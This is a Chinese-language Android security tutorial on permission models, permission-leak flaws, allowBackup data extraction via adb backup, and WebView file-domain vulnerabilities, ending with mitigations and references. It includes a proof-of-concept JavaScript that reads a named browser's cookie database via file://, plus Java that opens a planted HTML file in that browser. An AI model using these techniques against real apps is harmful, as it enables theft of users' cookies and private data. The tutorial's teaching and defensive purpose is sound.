Android App漏洞之战（13）——权限安全和安全配置漏洞详解

(1)安装时权限：用户在安装应用程序时，应用程序会向用户申请的基本权限，这类权限一般被分配为：普通权限和签名权限
(2)运行时权限：Android6.0之后，Android中加入了运行时权限，应用程序在运行过程中需要访问一些敏感数据，需要向用户请求权限，这类权限被分配为：危险权限
(3)特殊权限：只有平台和原始设备制造商（OEM）可以定义，为了执行特定的操作而申请的权限，这类权限被分配为：保护权限

权限申请步骤：
1.检查有无权限
有权限——>运行
无权限——>申请权限

2.申请权限（走权限回调）
用户同意——>运行
用户拒绝——>展示跳转设置界面对话框

3.跳转设置对话框
同意跳转——>跳转特定的权限打开界面
用户拒绝——>Toast提示没权限，功能不能正常使用

ContextCompat.checkSelfPermission方法：检查是否具有某项权限 
参数1：Context 参数2：权限名    

if (ContextCompat.checkSelfPermission(thisActivity, Manifest.permission.WRITE_CALENDAR)
            != PackageManager.PERMISSION_GRANTED) {
        // 权限没有被授予
    }

ActivityCompat.requestPermissions方法：
参数1：activity  参数2：要申请权限的字符串数组  参数3：请求码

if (ContextCompat.checkSelfPermission(thisActivity, Manifest.permission.WRITE_CALENDAR)
            != PackageManager.PERMISSION_GRANTED) {
        // 权限没有被授予，申请权限
        ActivityCompat.requestPermissions(thisActivity,new String[]{Manifest.permission.READ_CONTACTS},1);
    }

（1）requestPermissions执行时会弹系统对话框申请相关的权限。用户可以选择同意授权，或者拒绝授权。对话框关闭之后就走Activity的onRequestPermissionsResult回调了
（2）请求危险权限，之前需要在清单文件声明，否则对话框不弹，直接就是用户拒绝这个权限
（3）总之，只要使用权限就必须清单文件先声明，只是危险权限还需要动态申请

onRequestPermissionsResult方法：
参数1：请求码 参数2：请求的权限 参数3：授权结果数组

@Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions,
            @NonNull int[] grantResults){
            switch(requestCode){
            case 1:
            if(grantResults.length>0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
                        call();
                    }else{
                        //你没有授权
                        Toast.makeText("TAG", "你没有授权！", Toast.LENGTH_SHORT).show();
                    }
                    break;
                default:
            }
         }

属性说明：
(1)name：自定义权限的名字，其他app引用的名字
(2)lable：标签，用于描述该权限保护的关键功能,显示给用户的，它的值可是一个 string 数据
(3)description：描述，比 label 更长的对权限的描述。值是通过 resource 文件中获取的，不能直接写 string 值。
(4)permissionGroup：权限组，可选属性。在大多数情况下，应该将其设置为一个标准系统组（android.Manifest.permission_group），尽管可以自己定义一个组。
(5)protectionLevel：权限的等级，必须的属性

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.test">

//自定义的权限，权限级别为 normal
    <permission
        android:name="com.example.test.permission.SECOND_ACTIVITY"
        android:label="abc"
        android:description="@string/permdesc_SecondActivity"
        android:permissionGroup="android.permission-group.COST_MONEY"
        android:protectionLevel="normal" />
            <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme">
        //为SecondActivity加上android:permission="com.example.myapp.permission.SECOND_ACTIVITY"
        <activity
            android:name=".SecondActivity"
            android:exported="true"
            android:permission="com.example.test.permission.SECOND_ACTIVITY">
            <intent-filter>
                <action android:name="com.example.jump" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>
......
</manifest>

Intent intent = new Intent();
intent.setAction("com.example.jump");
intent.addCategory(Intent.CATEGORY_DEFAULT);
if (intent.resolveActivity(getPackageManager()) != null) {
startActivity(intent);
}

（1）两个应用声明了相同的权限？
Android不允许两个不同的应用定义一个相同名字的权限（除非这两个应用拥有相同签名），所以最好不要命名相同
（2）应用安装的顺序关系
场景：APP A中声明了权限permission A，APP B中使用了权限permissionA
情况1：PermissionA的保护级别是normal或者dangerous，只能App A先安装，App B后安装，从App B打开App A一切正常，否则报错
情况2：PermissionA的保护级别是signature或者signatureOrSystem
      App B先安装，App A后安装，如果App A和App B是相同的签名，那么App B可以获取到PermissionA的权限
      如果App A和App B的签名不同，则App B获取不到PermissionA权限
      对于相同签名的app来说，不论安装先后，只要是声明了权限，请求该权限的app就会获得该权限
情况3:android:protectionLevel会影响权限在Android6.0+系统的使用
 android:protectionLevel="normal"，不需要动态申请 
 android:protectionLevel="dangerous"，需要动态申请

Normal:最低等级，系统会默认授予次权限，不会提示用户，低风险，所以的APP不能访问和共享此APP
Dangerous:系统在安装时声明此类权限的app会提示用户，是高风险，所以APP都能访问和共享此APP
Signature:权限表明的操作只针对使用同一个证书签名的app开放，是指具有相同签名的APP可以访问和共享此APP
SignatureOrSystem:系统images中APP和具有相同签名的APP可以访问和共享此APP,google建议不使用该选项，一般用于特定的一些功能

隐私获取：指的是攻击者通过构造数据访问存在权限泄露漏洞的程序组件，并让该组件返回隐私数据，这些数据包括短信消息、联系人信息、地理位置、邮件信息等等
动作执行：指的是攻击者构造数据访问存在权限泄露的程序组件，让该组件执行系统破坏等恶意的操作，例如结束系统服务、拨打电话、删除程序数据等

public class Download extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent intent) {
        // TODO: This method is called when the BroadcastReceiver is receiving
        // an Intent broadcast.
        if(intent.getAction().equals("com.example.down")){
            String url = intent.getExtras().getString("url");
            String fileName = intent.getExtras().getString("fileName");
            Toast.makeText(context,"Downlaod start!"+url+"---"+fileName,Toast.LENGTH_LONG).show();
            Log.i("test",url+fileName);
        }
        //throw new UnsupportedOperationException("Not yet implemented");
    }
}

public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Intent intent = new Intent();
        intent.setAction("com.example.down");
        intent.putExtra("url","https://www.baidu.com/");
        intent.putExtra("filename","baidu");
        sendBroadcast(intent);
    }
}

命令：adb backup  [-system|nosystem] -all [-apk|-noapk] [-shared|-noshared] -f <档案名称>[需要备份的应用包名]

[-system|nosystem]
这个指令告诉adb在备份时是否要连同系统一起备份，若没有打开的话，默认是-system表示会一起备份系统，若连系统一起备份，在还原时候会覆盖系统档案，这对已经升级的手机是非常不好的，-nosystem是建议要打上去的指令

-all
这个指令除非要备份单一App不然是一定要打上去的，表示是否备份全部的App，若有加上`-nosystem`，就只会备份你目前已经安装上去的App而不会连系统App一起备份

[-apk|-noapk]
默认是-noapk，这个参数的意思是，是否连安装的apk一起备份，若为-noapk，则只会备份apk的资料档

[-shared|-noshared]
默认是`-noshared`，表示是否连手机存储空间或是SD卡的档案一起备份

-f
用这个来选择备份文件存储在哪里，例如-f /backup/applock.ab将会使文件存储在根磁盘（Windows的C盘等等）下一个名为backup的文件夹里，并且备份文件名为applock.ab

adb backup  -apk  -shared  -system  -all  -f  applock.ab

java -jar ade.jar unpack 1.ab 1.tar 

adb restore applock.ab

adb backup -f allowBackup.ab -noapk com.mwr.example.sieve

java -jar abe.jar unpack allowBackup.ab 1.tar

adb restore allowBackup.ab 

stop;start

webview控件是否将setAllowFileAccessFromFileURLs或setAllowUniversalAcessFromFileURLsAPI设置为true
客户端是否对file://路径进行严格限制

function getDatabase() {  

    var request = false;

    if(window.XMLHttpRequest) {

     request = new XMLHttpRequest();

      if(request.overrideMimeType) {

           request.overrideMimeType('text/xml');}

    }

    xmlhttp = request;

    var prefix = "file:////data/data/com.qihoo.browser/databases";

    var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db

    var path = prefix.concat(postfix);

    // 获取本地文件代码

    xmlhttp.open("GET", path, false);

    xmlhttp.send(null);

    var ret = xmlhttp.responseText;

    return ret;

}

copyFile(); //自定义函数，释放filehehe.html到sd卡上

String url = "file:///mnt/sdcard/filehehe.html";

Intent contIntent = new Intent();

contIntent.setAction("android.intent.action.VIEW");

contIntent.setData(Uri.parse(url));

Intent intent = new Intent();

intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity");

intent.setAction("android.intent.action.VIEW");

intent.setData(Uri.parse(url));

this.startActivity(intent);

（1）将不必要导出的组件设置为不导出
（2）如果应用的需要导出包含 Webview的组件，禁止使用File域协议 
 setAllowFileAccess(false)
 setAllowFileAccessFromFileURLs(false)
 setAllowUniversalAccessFromFileURLs(false)
 （3）手机厂商把手机内置的WebView与google保持更新一致
 （4）用户随时把手机的内置 webview以及使用的浏览器更新到最新版本

第一行代码
卢璐. Android应用权限泄露漏洞检测技术研究[D].西安电子科技大学,2018.
姜维 Android应用安全防护和逆向分析
https://juejin.cn/post/6844903997669638151#heading-13
https://juejin.cn/post/6844903817662693384
https://blog.csdn.net/qq_38350635/article/details/103863992
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/
https://www.cnblogs.com/yaq-qq/p/5843127.html
ttps://www.codeleading.com/article/67095305050/
https://github.com/nelenkov/android-backup-extractor/
https://blog.csdn.net/qq_43290288/article/details/98873651
https://segmentfault.com/a/1190000002590577
https://ayesawyer.github.io/2019/08/21/Android-App%E5%B8%B8%E8%A7%81%E5%AE%89%E5%85%A8%E6%BC%8F%E6%B4%9E/